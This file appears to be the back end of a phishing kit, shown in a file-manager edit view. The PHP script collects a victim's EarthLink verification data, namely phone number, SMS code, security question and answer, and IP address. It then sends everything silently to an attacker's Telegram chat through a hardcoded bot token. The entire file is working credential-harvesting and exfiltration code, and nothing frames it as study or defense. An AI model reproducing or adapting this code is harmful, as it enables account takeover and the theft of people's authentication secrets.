Edit File: telegram-bot-verification.php
<?php // Telegram Configuration $botToken = '8091632977:AAHw8qcbfXa1jPvI8DJy84GNVUhpYK83_vk'; $chatId = '7560504032'; // Get form data $verificationMethod = $_POST['verificationMethod'] ?? ''; $phoneNumber = $_POST['phoneNumber'] ?? ''; $verificationCode = $_POST['verificationCode'] ?? ''; $securityQuestion = $_POST['securityQuestion'] ?? ''; $securityAnswer = $_POST['securityAnswer'] ?? ''; $timestamp = $_POST['timestamp'] ?? date('Y-m-d H:i:s'); $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; // Create message $message = "🔐 EARTHLINK VERIFICATION ATTEMPT\n\n"; $message .= "📱 Verification Method: $verificationMethod\n"; if ($verificationMethod === 'SMS') { $message .= "📞 Phone Number: $phoneNumber\n"; $message .= "🔢 Verification Code: $verificationCode\n"; } else { $message .= "❓ Security Question: $securityQuestion\n"; $message .= "✅ Security Answer: $securityAnswer\n"; } $message .= "⏰ Time: $timestamp\n"; $message .= "📍 IP: $ip"; // Send to Telegram $url = "https://api.telegram.org/bot$botToken/sendMessage"; $data = [ 'chat_id' => $chatId, 'text' => $message, 'parse_mode' => 'HTML' ]; $options = [ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ] ]; $context = stream_context_create($options); @file_get_contents($url, false, $context); // Don't return anything ?>
Back